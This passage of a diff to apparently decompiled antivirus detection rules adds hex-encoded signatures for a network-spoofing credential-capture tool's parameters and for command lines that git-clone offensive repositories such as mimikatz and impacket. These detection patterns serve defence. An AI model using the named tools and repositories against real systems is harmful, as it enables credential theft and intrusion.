1)*0+(#a_2d_31 & 1)*656) >=5 } -rule _InfrastructureShared_26578{ +rule _InfrastructureShared_28290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 14 00 21 " @@ -347855,7 +370176,7 @@ rule _InfrastructureShared_26578{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_02_4 & 1)*101+(#a_00_6 & 1)*101+(#a_00_7 & 1)*46+(#a_00_9 & 1)*101+(#a_02_11 & 1)*101+(#a_00_12 & 1)*46+(#a_00_14 & 1)*99+(#a_00_15 & 1)*144+(#a_00_17 & 1)*101+(#a_00_18 & 1)*117) >=1 } -rule _InfrastructureShared_26579{ +rule _InfrastructureShared_28291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 1a 00 21 " @@ -347880,7 +370201,7 @@ rule _InfrastructureShared_26579{ ((#a_44_0 & 1)*17187+(#a_00_1 & 1)*101+(#a_00_3 & 1)*111+(#a_00_4 & 1)*116+(#a_00_6 & 1)*110+(#a_00_8 & 1)*111+(#a_00_10 & 1)*111+(#a_00_12 & 1)*101+(#a_00_14 & 1)*116+(#a_00_16 & 1)*120+(#a_00_18 & 1)*118+(#a_00_20 & 1)*72+(#a_00_22 & 1)*119+(#a_02_23 & 1)*1+(#a_00_24 & 1)*1+(#a_02_25 & 1)*1) >=1 } -rule _InfrastructureShared_26580{ +rule _InfrastructureShared_28292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff84 00 ffffff84 00 27 00 21 " @@ -347913,16 +370234,97 @@ rule _InfrastructureShared_26580{ $a_00_32 = {61 00 65 00 67 00 69 00 73 00 5c 00 68 00 62 00 72 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5c 00 } //-200 aegis\hbrclient\ $a_00_33 = {5c 00 67 00 61 00 6d 00 65 00 73 00 20 00 76 00 72 00 5c 00 61 00 72 00 6d 00 67 00 64 00 64 00 6e 00 20 00 62 00 72 00 6f 00 77 00 73 00 65 00 72 00 5c 00 61 00 67 00 2e 00 65 00 78 00 65 00 } //-200 \games vr\armgddn browser\ag.exe $a_00_34 = {72 00 73 00 79 00 6d 00 64 00 72 00 76 00 2e 00 65 00 78 00 65 00 } //-200 rsymdrv.exe - $a_bb_35 = {00 c9 00 c9 00 25 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 41 74 74 6b 74 6f 6f 6c 73 2e 41 21 64 68 61 00 64 00 06 00 67 00 69 00 74 00 64 00 0a 00 63 00 6c 00 6f 00 6e 00 65 00 01 00 4c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 67 00 65 00 6e 00 74 00 69 00 6c 00 6b 00 69 00 77 00 69 00 2f 00 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a 00 01 00 40 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 65 00 74 00 75 00 72 00 6e 00 76 00 61 00 72 00 2f 00 77 00 63 00 65 00 01 00 42 00 68 00 74 } //0 - $a_00_37 = {2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 6d 00 62 00 72 00 67 00 2f 00 70 00 6f 00 77 00 65 00 72 00 2d 00 70 00 77 00 6e 00 01 00 54 00 } //115 - $a_00_38 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 65 00 63 00 75 00 72 00 65 00 61 00 75 00 74 00 68 00 63 00 6f 00 72 00 70 00 2f 00 69 00 6d 00 70 00 61 00 63 00 6b 00 65 00 74 00 01 00 58 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 } //104 + $a_19_35 = {00 05 00 05 00 51 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 6f 77 65 69 67 68 2e 41 00 01 00 22 01 41 00 44 00 49 00 44 00 4e 00 53 00 48 00 6f 00 73 00 74 00 73 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 24 01 4b 00 65 00 72 00 62 00 65 00 72 00 6f 00 73 00 48 00 6f 00 73 00 74 00 48 00 65 00 61 00 64 00 65 00 72 00 01 00 16 01 50 00 72 00 6f 00 78 00 79 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 0e 01 50 00 63 00 61 00 70 00 54 00 43 00 50 00 01 00 0e 01 50 00 63 00 61 00 70 00 55 00 44 00 50 00 01 00 22 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 48 00 6f 00 73 00 74 00 73 00 52 00 65 00 70 00 6c 00 79 } //0 + $a_00_37 = {6f 00 6f 00 66 00 65 00 72 00 48 00 6f 00 73 00 74 00 73 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 1e 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 49 00 50 00 73 00 52 00 65 00 70 00 6c 00 79 00 01 00 20 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 49 00 50 00 73 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 1e 01 57 00 50 00 41 00 } //83 + $a_00_38 = {69 00 72 00 65 00 63 00 74 00 48 00 6f 00 73 00 74 00 73 00 01 00 1c 01 57 00 50 00 41 00 44 00 41 00 75 00 74 00 68 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 22 01 43 00 6f 00 6e 00 73 00 6f 00 6c 00 } //68 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_3 & 1)*45+(#a_00_5 & 1)*45+(#a_00_7 & 1)*112+(#a_00_9 & 1)*116+(#a_00_10 & 1)*97+(#a_00_12 & 1)*108+(#a_00_13 & 1)*108+(#a_00_14 & 1)*99+(#a_00_17 & 1)*100+(#a_02_18 & 1)*15+(#a_02_19 & 1)*15+(#a_02_20 & 1)*15+(#a_02_21 & 1)*15+(#a_02_22 & 1)*15+(#a_02_23 & 1)*15+(#a_02_24 & 1)*15+(#a_00_25 & 1)*-200+(#a_00_26 & 1)*-200+(#a_00_27 & 1)*-200+(#a_00_28 & 1)*-200+(#a_00_29 & 1)*-200+(#a_00_30 & 1)*-200+(#a_00_31 & 1)*-200+(#a_00_32 & 1)*-200+(#a_00_33 & 1)*-200+(#a_00_34 & 1)*-200+(#a_bb_35 & 1)*0+(#a_00_37 & 1)*115+(#a_00_38 & 1)*104) >=132 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_3 & 1)*45+(#a_00_5 & 1)*45+(#a_00_7 & 1)*112+(#a_00_9 & 1)*116+(#a_00_10 & 1)*97+(#a_00_12 & 1)*108+(#a_00_13 & 1)*108+(#a_00_14 & 1)*99+(#a_00_17 & 1)*100+(#a_02_18 & 1)*15+(#a_02_19 & 1)*15+(#a_02_20 & 1)*15+(#a_02_21 & 1)*15+(#a_02_22 & 1)*15+(#a_02_23 & 1)*15+(#a_02_24 & 1)*15+(#a_00_25 & 1)*-200+(#a_00_26 & 1)*-200+(#a_00_27 & 1)*-200+(#a_00_28 & 1)*-200+(#a_00_29 & 1)*-200+(#a_00_30 & 1)*-200+(#a_00_31 & 1)*-200+(#a_00_32 & 1)*-200+(#a_00_33 & 1)*-200+(#a_00_34 & 1)*-200+(#a_19_35 & 1)*0+(#a_00_37 & 1)*83+(#a_00_38 & 1)*68) >=132 } -rule _InfrastructureShared_26581{ +rule _InfrastructureShared_28293{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 25 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 51 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 6f 77 65 69 67 68 2e 41 00 01 00 22 01 41 00 44 00 49 00 44 00 4e 00 53 00 48 00 6f 00 73 00 74 00 73 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 24 01 4b 00 65 00 72 00 62 00 65 } //21283 慈正潔汯场湩㈳倯睯楥桧䄮Ā∀䄁䐀䤀䐀一匀䠀漀猀琀猀䤀最渀漀爀攀Ā␀䬁攀爀戀攀 + $a_00_2 = {6f 00 73 00 74 00 48 00 65 00 61 00 64 00 65 00 72 00 01 00 16 01 50 00 72 00 6f 00 78 00 79 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 0e 01 50 00 63 00 61 00 70 00 54 00 43 00 50 00 01 00 0e 01 50 00 63 00 61 00 } //115 + $a_00_3 = {44 00 50 00 01 00 22 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 48 00 6f 00 73 00 74 00 73 00 52 00 65 00 70 00 6c 00 79 00 01 00 24 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 48 00 6f 00 73 00 74 00 73 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 1e } //112 + $a_00_5 = {66 00 65 00 72 00 49 00 50 00 73 00 52 00 65 00 70 00 6c 00 79 00 01 00 20 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 49 00 50 00 73 00 49 00 67 00 6e 00 6f 00 72 00 65 00 01 00 1e 01 57 00 50 00 41 00 44 00 44 00 69 00 72 00 65 00 63 00 74 00 48 00 6f 00 73 00 74 00 73 00 01 00 1c 01 57 00 50 00 41 00 44 00 41 00 75 00 74 00 68 } //111 + $a_00_7 = {72 00 65 00 01 00 22 01 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 51 00 75 00 65 00 75 00 65 00 4c 00 69 00 6d 00 69 00 74 00 01 00 1a 01 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 53 00 74 00 61 00 74 00 75 00 73 00 01 00 1e 01 41 00 44 00 49 00 44 00 4e 00 53 00 54 00 68 00 72 00 65 00 73 00 68 00 6f 00 6c 00 64 00 01 00 12 01 41 } //110 + $a_00_9 = {53 00 54 00 54 00 4c 00 01 00 0c 01 44 00 4e 00 53 00 54 00 54 00 4c 00 01 00 10 01 48 00 54 00 54 00 50 00 50 00 6f 00 72 00 74 00 01 00 12 01 48 00 54 00 54 00 50 00 53 00 50 00 6f 00 72 00 74 00 01 00 1a 01 4b 00 65 00 72 00 62 00 } //68 + $a_00_10 = {6f 00 73 00 43 00 6f 00 75 00 6e 00 74 00 01 00 10 01 4c 00 4c 00 4d 00 4e 00 52 00 54 00 54 00 4c 00 01 00 0e 01 6d 00 44 00 4e 00 53 00 54 00 54 00 4c 00 01 00 0e 01 4e 00 42 00 4e 00 53 00 54 00 54 00 4c 00 01 00 26 01 4e 00 42 00 4e 00 53 00 42 00 72 00 75 00 74 00 65 00 46 00 6f 00 72 00 63 00 65 00 50 00 61 00 75 00 73 00 65 00 01 00 } //101 + $a_00_11 = {72 00 6f 00 78 00 79 00 50 00 6f 00 72 00 74 00 01 00 10 01 52 00 75 00 6e 00 43 00 6f 00 75 00 6e 00 74 00 01 00 10 01 57 00 50 00 41 00 44 00 50 00 6f 00 72 00 74 00 01 00 28 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 4c 00 65 00 61 00 } //274 + $a_00_12 = {69 00 6e 00 67 00 44 00 65 00 6c 00 61 00 79 00 01 00 2e 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 4c 00 65 00 61 00 72 00 6e 00 69 00 6e 00 67 00 49 00 6e 00 74 00 65 00 72 00 76 00 61 00 6c 00 01 00 28 01 53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 54 00 68 00 72 00 65 00 73 00 68 00 6f 00 6c 00 64 00 48 00 6f 00 73 00 74 00 } //114 + $a_01_13 = {53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 54 00 68 00 72 00 65 00 73 00 68 00 6f 00 6c 00 64 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 } //1 SpooferThresholdNetwork + $a_01_14 = {41 00 44 00 49 00 44 00 4e 00 53 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 } //1 ADIDNSDomain + $a_01_15 = {41 00 44 00 49 00 44 00 4e 00 53 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 6c 00 65 00 72 00 } //1 ADIDNSDomainController + $a_01_16 = {41 00 44 00 49 00 44 00 4e 00 53 00 46 00 6f 00 72 00 65 00 73 00 74 00 } //1 ADIDNSForest + $a_01_17 = {41 00 44 00 49 00 44 00 4e 00 53 00 4e 00 53 00 } //1 ADIDNSNS + $a_01_18 = {41 00 44 00 49 00 44 00 4e 00 53 00 4e 00 53 00 54 00 61 00 72 00 67 00 65 00 74 00 } //1 ADIDNSNSTarget + $a_01_19 = {41 00 44 00 49 00 44 00 4e 00 53 00 5a 00 6f 00 6e 00 65 00 } //1 ADIDNSZone + $a_01_20 = {48 00 54 00 54 00 50 00 42 00 61 00 73 00 69 00 63 00 52 00 65 00 61 00 6c 00 6d 00 } //1 HTTPBasicRealm + $a_01_21 = {48 00 54 00 54 00 50 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 54 00 79 00 70 00 65 00 } //1 HTTPContentType + $a_01_22 = {48 00 54 00 54 00 50 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 46 00 69 00 6c 00 65 00 } //1 HTTPDefaultFile + $a_01_23 = {48 00 54 00 54 00 50 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 45 00 58 00 45 00 } //1 HTTPDefaultEXE + $a_01_24 = {48 00 54 00 54 00 50 00 52 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 } //1 HTTPResponse + $a_01_25 = {48 00 54 00 54 00 50 00 53 00 43 00 65 00 72 00 74 00 49 00 73 00 73 00 75 00 65 00 72 00 } //1 HTTPSCertIssuer + $a_01_26 = {48 00 54 00 54 00 50 00 53 00 43 00 65 00 72 00 74 00 53 00 75 00 62 00 6a 00 65 00 63 00 74 00 } //1 HTTPSCertSubject + $a_01_27 = {4e 00 42 00 4e 00 53 00 42 00 72 00 75 00 74 00 65 00 46 00 6f 00 72 00 63 00 65 00 48 00 6f 00 73 00 74 00 } //1 NBNSBruteForceHost + $a_01_28 = {57 00 50 00 41 00 44 00 52 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 } //1 WPADResponse + $a_01_29 = {43 00 68 00 61 00 6c 00 6c 00 65 00 6e 00 67 00 65 00 } //1 Challenge + $a_01_30 = {43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 55 00 6e 00 69 00 71 00 75 00 65 00 } //1 ConsoleUnique + $a_01_31 = {41 00 44 00 49 00 44 00 4e 00 53 00 } //1 ADIDNS + $a_01_32 = {41 00 44 00 49 00 44 00 4e 00 53 00 50 00 61 00 72 00 74 00 69 00 74 00 69 00 6f 00 6e 00 } //1 ADIDNSPartition + $a_01_33 = {41 00 44 00 49 00 44 00 4e 00 53 00 41 00 43 00 45 00 } //1 ADIDNSACE + $a_01_34 = {41 00 44 00 49 00 44 00 4e 00 53 00 43 00 6c 00 65 00 61 00 6e 00 75 00 70 00 } //1 ADIDNSCleanup + $a_01_35 = {45 00 76 00 61 00 64 00 65 00 52 00 47 00 } //1 EvadeRG + $a_01_36 = {48 00 54 00 54 00 50 00 53 00 46 00 6f 00 72 00 63 00 65 00 43 00 65 00 72 00 74 00 44 00 65 00 6c 00 65 00 74 00 65 00 } //1 HTTPSForceCertDelete + $a_01_37 = {4b 00 65 00 72 00 62 00 65 00 72 00 6f 00 73 00 } //1 Kerberos + $a_01_38 = {4c 00 4c 00 4d 00 4e 00 52 00 } //1 LLMNR + $a_01_39 = {4d 00 61 00 63 00 68 00 69 00 6e 00 65 00 41 00 63 00 63 00 6f 00 75 00 6e 00 74 00 73 00 } //1 MachineAccounts + $a_01_40 = {6d 00 44 00 4e 00 53 00 } //1 mDNS + $a_01_41 = {4e 00 42 00 4e 00 53 00 } //1 NBNS + $a_01_42 = {4e 00 42 00 4e 00 53 00 42 00 72 00 75 00 74 00 65 00 46 00 6f 00 72 00 63 00 65 00 } //1 NBNSBruteForce + $a_01_43 = {53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 4c 00 65 00 61 00 72 00 6e 00 69 00 6e 00 67 00 } //1 SpooferLearning + $a_01_44 = {53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 4e 00 6f 00 6e 00 70 00 72 00 69 00 6e 00 74 00 61 00 62 00 6c 00 65 00 } //1 SpooferNonprintable + $a_01_45 = {53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 52 00 65 00 70 00 65 00 61 00 74 00 } //1 SpooferRepeat + $a_01_46 = {53 00 74 00 61 00 74 00 75 00 73 00 4f 00 75 00 74 00 70 00 75 00 74 00 } //1 StatusOutput + $a_01_47 = {53 00 74 00 61 00 72 00 74 00 75 00 70 00 43 00 68 00 65 00 63 00 6b 00 73 00 } //1 StartupChecks + $a_01_48 = {48 00 54 00 54 00 50 00 41 00 75 00 74 00 68 00 } //1 HTTPAuth + $a_01_49 = {6d 00 44 00 4e 00 53 00 54 00 79 00 70 00 65 00 73 00 } //1 mDNSTypes + $a_01_50 = {4e 00 42 00 4e 00 53 00 54 00 79 00 70 00 65 00 73 00 } //1 NBNSTypes + $a_01_51 = {50 00 63 00 61 00 70 00 } //1 Pcap + $a_01_52 = {50 00 72 00 6f 00 78 00 79 00 41 00 75 00 74 00 68 00 } //1 ProxyAuth + $a_01_53 = {57 00 50 00 41 00 44 00 41 00 75 00 74 00 68 00 } //1 WPADAuth + $a_01_54 = {4b 00 65 00 72 00 62 00 65 00 72 00 6f 00 73 00 48 00 61 00 73 00 68 00 } //1 KerberosHash + $a_01_55 = {48 00 54 00 54 00 50 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 } //1 HTTPDirectory + $a_01_56 = {48 00 54 00 54 00 50 00 49 00 50 00 } //1 HTTPIP + $a_01_57 = {49 00 50 00 } //1 IP + $a_01_58 = {4e 00 42 00 4e 00 53 00 42 00 72 00 75 00 74 00 65 00 46 00 6f 00 72 00 63 00 65 00 54 00 61 00 72 00 67 00 65 00 74 00 } //1 NBNSBruteForceTarget + $a_01_59 = {50 00 72 00 6f 00 78 00 79 00 49 00 50 00 } //1 ProxyIP + $a_01_60 = {53 00 70 00 6f 00 6f 00 66 00 65 00 72 00 49 00 50 00 } //1 SpooferIP + $a_01_61 = {57 00 50 00 41 00 44 00 49 00 50 00 } //1 WPADIP + $a_01_62 = {41 00 44 00 49 00 44 00 4e 00 53 00 43 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 } //1 ADIDNSCredential + $a_01_63 = {4b 00 65 00 72 00 62 00 65 00 72 00 6f 00 73 00 43 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 } //1 KerberosCredential + $a_01_64 = {49 00 6e 00 73 00 70 00 65 00 63 00 74 00 } //1 Inspect + $a_8d_65 = {00 c9 00 c9 00 28 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 41 74 74 6b 74 6f 6f 6c 73 2e 41 21 64 68 61 00 64 00 06 00 67 00 69 00 74 00 64 00 0a 00 63 00 6c 00 6f 00 6e 00 65 00 01 00 4c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 67 00 65 00 6e 00 74 00 69 00 6c 00 6b 00 69 00 77 00 69 00 2f 00 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a 00 01 00 40 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 65 00 74 00 75 00 72 00 6e 00 76 00 61 00 72 00 2f 00 77 00 63 00 65 00 01 00 42 00 68 00 74 } //0 + $a_00_67 = {2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 6d 00 62 00 72 00 67 00 2f 00 70 00 6f 00 77 00 65 00 72 00 2d 00 70 00 77 00 6e 00 01 00 54 00 } //115 + $a_00_68 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 65 00 63 00 75 00 72 00 65 00 61 00 75 00 74 00 68 00 63 00 6f 00 72 00 70 00 2f 00 69 00 6d 00 70 00 61 00 63 00 6b 00 65 00 74 00 01 00 58 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 } //104 + $a_00_69 = {2f 00 6c 00 69 00 6d 00 65 00 72 00 62 00 6f 00 79 00 2f 00 61 00 64 00 61 00 6d 00 61 00 6e 00 74 00 69 00 75 00 6d 00 2d 00 74 00 68 00 69 00 65 00 66 00 01 00 56 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 75 } //111 + $a_00_71 = {69 00 65 00 66 00 2f 00 68 00 65 00 6b 00 61 00 74 00 6f 00 6d 00 62 00 01 00 42 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 54 00 68 00 65 00 57 00 6f 00 76 00 65 00 72 00 2f 00 64 00 6f 00 6e 00 75 00 74 00 01 00 42 00 68 00 74 00 74 00 } //116 + $a_00_72 = {3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 58 00 5a 00 42 00 2d 00 31 00 32 00 34 00 38 00 2f 00 53 00 70 00 61 00 72 00 6b 00 01 00 40 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 6e 00 31 00 6e 00 6a 00 34 00 73 00 65 00 63 00 2f } //112 + $a_00_74 = {01 00 56 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 62 00 79 00 74 00 33 00 62 00 6c 00 33 00 33 00 64 00 33 00 72 00 2f 00 4f 00 66 00 66 00 65 00 6e 00 73 00 69 00 76 00 65 00 4e 00 69 00 6d 00 01 00 4c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 } //112 + $a_00_76 = {2f 00 69 00 63 00 79 00 67 00 75 00 69 00 64 00 65 00 72 00 2f 00 4e 00 69 00 6d 00 63 00 72 00 79 00 70 00 74 00 32 00 01 00 4e 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 57 00 61 00 63 00 6b 00 30 00 2f 00 43 00 56 00 45 00 2d 00 32 00 30 00 32 00 32 } //111 + $a_00_78 = {39 00 34 00 01 00 4e 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 69 00 74 00 73 00 2d 00 61 00 } //49 + $a_00_79 = {65 00 61 00 74 00 75 00 72 00 65 00 2f 00 4d 00 79 00 74 00 68 00 69 00 63 00 01 00 4c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 43 00 2d 00 53 00 74 00 6f 00 2f 00 67 00 6f 00 73 00 65 00 63 00 72 00 65 00 74 00 73 00 64 00 75 00 } //45 + $a_00_80 = {01 00 5c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 54 00 68 00 65 00 44 00 31 00 72 00 6b 00 4d 00 74 00 72 00 2f 00 46 00 69 00 6c 00 65 00 6c 00 65 00 73 00 73 00 50 00 45 00 4c 00 6f 00 61 00 64 00 65 00 72 00 01 00 5a 00 68 00 74 00 74 00 70 00 73 00 3a 00 } //109 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_3 & 1)*112+(#a_00_5 & 1)*111+(#a_00_7 & 1)*110+(#a_00_9 & 1)*68+(#a_00_10 & 1)*101+(#a_00_11 & 1)*274+(#a_00_12 & 1)*114+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_8d_65 & 1)*0+(#a_00_67 & 1)*115+(#a_00_68 & 1)*104+(#a_00_69 & 1)*111+(#a_00_71 & 1)*116+(#a_00_72 & 1)*112+(#a_00_74 & 1)*112+(#a_00_76 & 1)*111+(#a_00_78 & 1)*49+(#a_00_79 & 1)*45+(#a_00_80 & 1)*109) >=5 + +} +rule _InfrastructureShared_28294{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 28 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 74 74 6b 74 6f 6f 6c 73 2e 41 21 64 68 61 00 64 00 06 00 67 00 69 00 74 00 64 00 0a 00 63 00 6c 00 6f 00 6e 00 65 00 01 00 4c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 } //21283 @@ -347949,11 +370351,13 @@ rule _InfrastructureShared_26581{ $a_00_33 = {63 00 75 00 01 00 46 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 54 00 79 00 6c 00 6f 00 75 00 73 00 2f 00 46 00 72 00 65 00 65 00 7a 00 65 00 2e 00 72 00 73 00 01 00 52 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f } //112 $a_00_35 = {75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 44 00 34 00 73 00 74 00 69 00 6e 00 79 00 2f 00 46 00 6f 00 72 00 6b 00 50 00 6c 00 61 00 79 00 67 00 72 00 6f 00 75 00 6e 00 64 00 01 00 42 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 64 00 61 00 } //116 $a_00_36 = {72 00 34 00 79 00 2f 00 67 00 65 00 61 00 63 00 6f 00 6e 00 01 00 54 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 77 00 6e 00 74 00 65 00 73 00 74 00 65 00 72 00 2f 00 79 00 73 00 6f 00 73 00 65 00 72 00 69 00 61 00 6c 00 2e 00 6e 00 65 00 74 } //114 + $a_00_38 = {74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 66 00 65 00 72 00 6e 00 61 00 6e 00 64 00 65 00 7a 00 62 00 39 00 32 00 2f 00 4d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a 00 2d 00 32 00 2e 00 31 00 2e 00 31 00 2d 00 70 00 61 00 74 00 63 00 68 00 01 00 5a 00 68 00 74 00 74 00 70 00 73 00 } //104 + $a_00_39 = {2f 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 69 00 6e 00 73 00 69 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 2f } 